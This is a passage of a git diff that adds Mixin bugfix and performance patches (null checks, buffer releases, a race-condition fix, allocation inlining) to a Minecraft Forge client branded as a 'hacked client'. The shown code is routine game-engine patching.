net.minecraft.network.play.server.S3FPacketCustomPayload; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(S3FPacketCustomPayload.class) +public class MixinS3FPacketCustomPayload { + @Shadow + private PacketBuffer data; + + @Inject(method = "processPacket(Lnet/minecraft/network/play/INetHandlerPlayClient;)V", at = @At("TAIL")) + private void releaseData(INetHandlerPlayClient handler, CallbackInfo ci) { + if (this.data != null) { + this.data.release(); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinBlockFluidRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinBlockFluidRenderer.java new file mode 100644 index 0000000..b7427f9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinBlockFluidRenderer.java @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.client.renderer.BlockFluidRenderer; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.Constant; +import org.spongepowered.asm.mixin.injection.ModifyConstant; + +@Mixin(BlockFluidRenderer.class) +public class MixinBlockFluidRenderer { + @ModifyConstant(method = "renderFluid", constant = @Constant(floatValue = 0.001F)) + private float fixFluidStitching(float original) { + return 0.0F; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinClientCommandHandler.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinClientCommandHandler.java new file mode 100644 index 0000000..533144f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinClientCommandHandler.java @@ -0,0 +1,36 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.command.ICommandSender; +import net.minecraftforge.client.ClientCommandHandler; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.ModifyArg; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.Locale; + +@Mixin(ClientCommandHandler.class) +public class MixinClientCommandHandler { + @SuppressWarnings("UnresolvedMixinReference") + @ModifyArg(method = {"executeCommand", "func_71556_a"}, at = @At(value = "INVOKE", target = "Ljava/util/Map;get(Ljava/lang/Object;)Ljava/lang/Object;", remap = false), remap = false) + private Object makeLowerCaseForGet(Object s) { + if (s instanceof String) { + return ((String) s).toLowerCase(Locale.ENGLISH); + } + return s; + } + + @SuppressWarnings("UnresolvedMixinReference") + @Inject(method = {"executeCommand", "func_71556_a"}, at = @At("HEAD"), cancellable = true, remap = false) + private void checkForSlash(ICommandSender sender, String message, CallbackInfoReturnable<Integer> cir) { + if (!message.trim().startsWith("/")) { + cir.setReturnValue(0); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinCommandHandler.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinCommandHandler.java new file mode 100644 index 0000000..68e228e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinCommandHandler.java @@ -0,0 +1,30 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.command.CommandHandler; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.ModifyArg; + +import java.util.Locale; + +@Mixin(CommandHandler.class) +public class MixinCommandHandler { + @ModifyArg(method = "executeCommand", at = @At(value = "INVOKE", target = "Ljava/util/Map;get(Ljava/lang/Object;)Ljava/lang/Object;", remap = false)) + private Object makeLowerCaseForGet(Object s) { + if (s instanceof String) + return ((String) s).toLowerCase(Locale.ENGLISH); + return s; + } + + @ModifyArg(method = "registerCommand", at = @At(value = "INVOKE", target = "Ljava/util/Map;put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;", remap = false), index = 0) + private Object makeLowerCaseForPut(Object s) { + if (s instanceof String) + return ((String) s).toLowerCase(Locale.ENGLISH); + return s; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinEntityPackets.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinEntityPackets.java new file mode 100644 index 0000000..24b8dd8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinEntityPackets.java @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.entity.Entity; +import net.minecraft.network.play.server.S14PacketEntity; +import net.minecraft.network.play.server.S19PacketEntityHeadLook; +import net.minecraft.network.play.server.S19PacketEntityStatus; +import net.minecraft.world.World; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +@Mixin({S14PacketEntity.class, S19PacketEntityHeadLook.class, S19PacketEntityStatus.class}) +public class MixinEntityPackets { + @SuppressWarnings("UnresolvedMixinReference") + @Inject( + method = {"getEntity", "func_149065_a", "func_149381_a", "func_149161_a"}, + at = @At("HEAD"), + cancellable = true, + remap = false + ) + private void addNullCheck(World worldIn, CallbackInfoReturnable<Entity> cir) { + if (worldIn == null) + cir.setReturnValue(null); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinItemModelMesher.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinItemModelMesher.java new file mode 100644 index 0000000..7ccf7d7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinItemModelMesher.java @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.client.renderer.ItemModelMesher; +import net.minecraft.client.resources.model.IBakedModel; +import net.minecraft.client.resources.model.ModelManager; +import net.minecraft.item.Item; +import net.minecraft.item.ItemStack; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; +import org.spongepowered.asm.mixin.injection.callback.LocalCapture; + +@Mixin(ItemModelMesher.class) +public class MixinItemModelMesher { + @Shadow @Final private ModelManager modelManager; + + @Inject(method = "getItemModel(Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/IBakedModel;", at = @At(value = "INVOKE_ASSIGN", target = "Lnet/minecraft/item/ItemStack;getItem()Lnet/minecraft/item/Item;"), locals = LocalCapture.CAPTURE_FAILSOFT, cancellable = true) + private void returnMissingModel(ItemStack stack, CallbackInfoReturnable<IBakedModel> cir, Item item) { + if (item == null) { + cir.setReturnValue(this.modelManager.getMissingModel()); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinLazyLoadBase.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinLazyLoadBase.java new file mode 100644 index 0000000..8415354 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinLazyLoadBase.java @@ -0,0 +1,39 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.util.LazyLoadBase; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; + +@Mixin(LazyLoadBase.class) +public abstract class MixinLazyLoadBase<T> { + @Shadow private boolean isLoaded; + + @Shadow private T value; + + @Shadow protected abstract T load(); + + /** + * @author LlamaLad7 + * @reason Fix race condition + */ + @Overwrite + public T getValue() { + //noinspection DoubleCheckedLocking + if (!this.isLoaded) { + synchronized (this) { + if (!this.isLoaded) { + this.value = this.load(); + this.isLoaded = true; + } + } + } + + return this.value; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinRegionRenderCache.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinRegionRenderCache.java new file mode 100644 index 0000000..dc0c010 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinRegionRenderCache.java @@ -0,0 +1,39 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.block.state.IBlockState; +import net.minecraft.client.renderer.RegionRenderCache; +import net.minecraft.util.BlockPos; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; +import org.spongepowered.asm.mixin.injection.callback.LocalCapture; + +@Mixin(RegionRenderCache.class) +public class MixinRegionRenderCache { + @Shadow + @Final + private static IBlockState DEFAULT_STATE; + + @Shadow + private IBlockState[] blockStates; + + @Inject( + method = "getBlockState", + at = @At(value = "FIELD", target = "Lnet/minecraft/client/renderer/RegionRenderCache;blockStates:[Lnet/minecraft/block/state/IBlockState;", ordinal = 0, shift = At.Shift.AFTER), + locals = LocalCapture.CAPTURE_FAILSOFT, + cancellable = true + ) + private void connectedTexturesBoundsCheck(BlockPos pos, CallbackInfoReturnable<IBlockState> cir, int positionIndex) { + if (positionIndex < 0 || positionIndex >= this.blockStates.length) { + cir.setReturnValue(DEFAULT_STATE); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinScoreboard.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinScoreboard.java new file mode 100644 index 0000000..c1819e8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinScoreboard.java @@ -0,0 +1,54 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.scoreboard.ScoreObjective; +import net.minecraft.scoreboard.ScorePlayerTeam; +import net.minecraft.scoreboard.Scoreboard; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.Redirect; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.Map; + +@Mixin(Scoreboard.class) +public abstract class MixinScoreboard { + @Shadow public abstract ScorePlayerTeam getTeam(String p_96508_1_); + + @Inject(method = "removeTeam", at = @At("HEAD"), cancellable = true) + private void checkIfTeamIsNull(ScorePlayerTeam team, CallbackInfo ci) { + if (team == null) ci.cancel(); + } + + @Redirect(method = "removeTeam", at = @At(value = "INVOKE", target = "Ljava/util/Map;remove(Ljava/lang/Object;)Ljava/lang/Object;", ordinal = 0, remap = false)) + private <K, V> V checkIfRegisteredNameIsNull(Map<K, V> instance, K o) { + if (o != null) return instance.remove(o); + return null; + } + + @Inject(method = "removeObjective", at = @At("HEAD"), cancellable = true) + private void checkIfObjectiveIsNull(ScoreObjective objective, CallbackInfo ci) { + if (objective == null) ci.cancel(); + } + + @Redirect(method = "removeObjective", at = @At(value = "INVOKE", target = "Ljava/util/Map;remove(Ljava/lang/Object;)Ljava/lang/Object;", ordinal = 0, remap = false)) + private <K, V> V checkIfNameIsNull(Map<K, V> instance, K o) { + if (o != null) return instance.remove(o); + return null; + } + + @Inject(method = "createTeam", at = @At(value = "CONSTANT", args = "stringValue=A team with the name '"), cancellable = true) + private void returnExistingTeam(String name, CallbackInfoReturnable<ScorePlayerTeam> cir) { + cir.setReturnValue(this.getTeam(name)); + } + + @Inject(method = "removePlayerFromTeam", at = @At(value = "CONSTANT", args = "stringValue=Player is either on another team or not on any team. Cannot remove from team '"), cancellable = true) + private void silenceException(CallbackInfo ci) { + ci.cancel(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinServerAddress.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinServerAddress.java new file mode 100644 index 0000000..7c545fb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinServerAddress.java @@ -0,0 +1,30 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.client.multiplayer.ServerAddress; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; + +import java.net.IDN; + +@Mixin(ServerAddress.class) +public class MixinServerAddress { + @Shadow @Final private String ipAddress; + + /** + * @author LlamaLad7 + * @reason Fix crash - MC-89698 + */ + @Overwrite + public String getIP() { + try { + return IDN.toASCII(this.ipAddress); + } catch (Exception e) { + return ""; + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinServerList.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinServerList.java new file mode 100644 index 0000000..5fc0058 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinServerList.java @@ -0,0 +1,94 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.client.multiplayer.ServerData; +import net.minecraft.client.multiplayer.ServerList; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; + +import java.util.List; + +@Mixin(ServerList.class) +public abstract class MixinServerList { + private static final Logger patcher$logger = LogManager.getLogger("Patcher/ServerList"); + + @Shadow @Final + private List<ServerData> servers; + + @Shadow public abstract void saveServerList(); + + /** + * @author LlamaLad7 + * @reason resolve NPE + */ + @Overwrite + public ServerData getServerData(int index) { + try { + return this.servers.get(index); + } catch (Exception e) { + patcher$logger.error("Failed to get server data.", e); + return null; + } + } + + /** + * @author LlamaLad7 + * @reason resolve NPE + */ + @Overwrite + public void removeServerData(int index) { + try { + this.servers.remove(index); + } catch (Exception e) { + patcher$logger.error("Failed to remove server data.", e); + } + } + + /** + * @author LlamaLad7 + * @reason resolve NPE + */ + @Overwrite + public void addServerData(ServerData server) { + try { + this.servers.add(server); + } catch (Exception e) { + patcher$logger.error("Failed to add server data.", e); + } + } + + /** + * @author LlamaLad7 + * @reason resolve NPE + */ + @Overwrite + public void swapServers(int p_78857_1_, int p_78857_2_) { + try { + ServerData serverdata = this.getServerData(p_78857_1_); + this.servers.set(p_78857_1_, this.getServerData(p_78857_2_)); + this.servers.set(p_78857_2_, serverdata); + this.saveServerList(); + } catch (Exception e) { + patcher$logger.error("Failed to swap servers.", e); + } + } + + /** + * @author LlamaLad7 + * @reason resolve NPE + */ + @Overwrite + public void func_147413_a(int index, ServerData server) { + try { + this.servers.set(index, server); + } catch (Exception e) { + patcher$logger.error("Failed to set server data.", e); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinSoundManager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinSoundManager.java new file mode 100644 index 0000000..98be6a8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/bugfixes/MixinSoundManager.java @@ -0,0 +1,60 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.bugfixes; + +import net.minecraft.client.audio.ISound; +import net.minecraft.client.audio.SoundManager; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.Marker; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.*; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import paulscode.sound.SoundSystem; + +import java.util.*; + +@Mixin(SoundManager.class) +public abstract class MixinSoundManager { + @Shadow public abstract boolean isSoundPlaying(ISound sound); + + @Shadow @Final private Map<String, ISound> playingSounds; + + private final List<String> p_pausedSounds = new ArrayList<>(); + + @SuppressWarnings("InvalidInjectorMethodSignature") + @Redirect( + method = "pauseAllSounds", + at = @At(value = "INVOKE", target = "Lnet/minecraft/client/audio/SoundManager$SoundSystemStarterThread;pause(Ljava/lang/String;)V", remap = false) + ) + private void p_onlyPauseSoundIfNecessary(@Coerce SoundSystem soundSystem, String sound) { + if (isSoundPlaying(playingSounds.get(sound))) { + soundSystem.pause(sound); + p_pausedSounds.add(sound); + } + } + + @Redirect( + method = "resumeAllSounds", + at = @At(value = "INVOKE", target = "Ljava/util/Set;iterator()Ljava/util/Iterator;", remap = false) + ) + private Iterator<String> p_iterateOverPausedSounds(Set<String> keySet) { + return p_pausedSounds.iterator(); + } + + @Redirect( + method = "playSound", + slice = @Slice(from = @At(value = "CONSTANT", args = "stringValue=Unable to play unknown soundEvent: {}", ordinal = 0)), + at = @At(value = "INVOKE", target = "Lorg/apache/logging/log4j/Logger;warn(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V", ordinal = 0, remap = false) + ) + private void p_silenceWarning(Logger instance, Marker marker, String s, Object[] objects) { + // No-op + } + + @Inject(method = "resumeAllSounds", at = @At("TAIL")) + private void p_clearPausedSounds(CallbackInfo ci) { + p_pausedSounds.clear(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinAnvilChunkLoader.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinAnvilChunkLoader.java new file mode 100644 index 0000000..f9941bc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinAnvilChunkLoader.java @@ -0,0 +1,28 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.performance; + +import net.minecraft.nbt.CompressedStreamTools; +import net.minecraft.nbt.NBTTagCompound; +import net.minecraft.world.chunk.storage.AnvilChunkLoader; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +import java.io.DataInputStream; +import java.io.IOException; + +@Mixin(AnvilChunkLoader.class) +public class MixinAnvilChunkLoader { + // Local Capture misses this variable, so we have to resort to a Redirect. + @Redirect( + method = "loadChunk__Async", + at = @At(value = "INVOKE", target = "Lnet/minecraft/nbt/CompressedStreamTools;read(Ljava/io/DataInputStream;)Lnet/minecraft/nbt/NBTTagCompound;") + ) + private NBTTagCompound closeStream(DataInputStream stream) throws IOException { + NBTTagCompound result = CompressedStreamTools.read(stream); + stream.close(); + return result; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinBlockPos.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinBlockPos.java new file mode 100644 index 0000000..d548ae9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinBlockPos.java @@ -0,0 +1,135 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.performance; + +import net.minecraft.util.BlockPos; +import net.minecraft.util.EnumFacing; +import net.minecraft.util.Vec3i; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; + +@Mixin(BlockPos.class) +public abstract class MixinBlockPos extends Vec3i { + + public MixinBlockPos(int xIn, int yIn, int zIn) { + super(xIn, yIn, zIn); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos up() { + return new BlockPos(this.getX(), this.getY() + 1, this.getZ()); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos up(int offset) { + return offset == 0 ? (BlockPos) (Object) this : new BlockPos(this.getX(), this.getY() + offset, this.getZ()); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos down() { + return new BlockPos(this.getX(), this.getY() - 1, this.getZ()); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos down(int offset) { + return offset == 0 ? (BlockPos) (Object) this : new BlockPos(this.getX(), this.getY() - offset, this.getZ()); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos north() { + return new BlockPos(this.getX(), this.getY(), this.getZ() - 1); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos north(int offset) { + return offset == 0 ? (BlockPos) (Object) this : new BlockPos(this.getX(), this.getY(), this.getZ() - offset); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos south() { + return new BlockPos(this.getX(), this.getY(), this.getZ() + 1); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos south(int offset) { + return offset == 0 ? (BlockPos) (Object) this : new BlockPos(this.getX(), this.getY(), this.getZ() + offset); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos west() { + return new BlockPos(this.getX() - 1, this.getY(), this.getZ()); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos west(int offset) { + return offset == 0 ? (BlockPos) (Object) this : new BlockPos(this.getX() - offset, this.getY(), this.getZ()); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos east() { + return new BlockPos(this.getX() + 1, this.getY(), this.getZ()); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos east(int offset) { + return offset == 0 ? (BlockPos) (Object) this : new BlockPos(this.getX() + offset, this.getY(), this.getZ()); + } + + /** + * @author asbyth + * @reason Inline method to reduce allocations + */ + @Overwrite + public BlockPos offset(EnumFacing direction) { + return new BlockPos(this.getX() + direction.getFrontOffsetX(), this.getY() + direction.getFrontOffsetY(), this.getZ() + direction.getFrontOffsetZ()); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinGameRulesValue.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinGameRulesValue.java new file mode 100644 index 0000000..9a3e02a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinGameRulesValue.java @@ -0,0 +1,24 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.performance; + +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.util.Objects; + +@Mixin(targets = "net.minecraft.world.GameRules$Value") +public class MixinGameRulesValue { + @Shadow private String valueString; + + @Inject(method = "setValue(Ljava/lang/String;)V", at = @At("HEAD"), cancellable = true) + private void cancelIfUnchanged(String value, CallbackInfo ci) { + if (Objects.equals(this.valueString, value)) { + ci.cancel(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinMinecraftServer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinMinecraftServer.java new file mode 100644 index 0000000..f96e231 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinMinecraftServer.java @@ -0,0 +1,23 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.performance; + +import io.netty.buffer.ByteBuf; +import net.minecraft.server.MinecraftServer; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.ModifyVariable; + +@Mixin(MinecraftServer.class) +public class MixinMinecraftServer { + @ModifyVariable( + method = "addFaviconToStatusResponse", + at = @At(value = "INVOKE", target = "Lnet/minecraft/network/ServerStatusResponse;setFavicon(Ljava/lang/String;)V", shift = At.Shift.AFTER), + ordinal = 1 + ) + private ByteBuf patcher$releaseByteBuf(ByteBuf buf1) { + buf1.release(); + return buf1; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinNodeProcessor.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinNodeProcessor.java new file mode 100644 index 0000000..46caec9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/patcher/performance/MixinNodeProcessor.java @@ -0,0 +1,25 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.patcher.performance; + +import net.minecraft.world.IBlockAccess; +import net.minecraft.world.pathfinder.NodeProcessor; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(NodeProcessor.class) +public class MixinNodeProcessor { + + @Shadow protected IBlockAccess blockaccess; + + @Inject(method = "postProcess", at = @At("HEAD")) + private void patcher$cleanupBlockAccess(CallbackInfo ci) { + this.blockaccess = null; + } + +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinBlock.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinBlock.java new file mode 100644 index 0000000..ffa85ae --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinBlock.java @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.performance; + +import net.ccbluex.liquidbounce.injection.access.IBlock; +import net.ccbluex.liquidbounce.injection.access.IWorld; +import net.minecraft.block.Block; +import net.minecraft.world.IBlockAccess; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; + +@Mixin(value={Block.class}) +public abstract class MixinBlock implements IBlock { + @Shadow + public abstract int getLightValue(); + + @Shadow + public abstract int getLightOpacity(); + + @Override + public int getLightValue(IBlockAccess iBlockAccess, int n, int n2, int n3) { + Block block = ((IWorld)iBlockAccess).getBlockState(n, n2, n3).getBlock(); + if (!this.equals(block)) { + return ((IBlock)block).getLightValue(iBlockAccess, n, n2, n3); + } + return this.getLightValue(); + } + + @Override + public int getLightOpacity(IBlockAccess iBlockAccess, int n, int n2, int n3) { + return this.getLightOpacity(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinChunk.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinChunk.java new file mode 100644 index 0000000..f89cd69 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinChunk.java @@ -0,0 +1,118 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.performance; + +import net.ccbluex.liquidbounce.injection.access.IChunk; +import net.minecraft.block.state.IBlockState; +import net.minecraft.crash.CrashReport; +import net.minecraft.crash.CrashReportCategory; +import net.minecraft.init.Blocks; +import net.minecraft.util.BlockPos; +import net.minecraft.util.ReportedException; +import net.minecraft.world.EnumSkyBlock; +import net.minecraft.world.World; +import net.minecraft.world.WorldType; 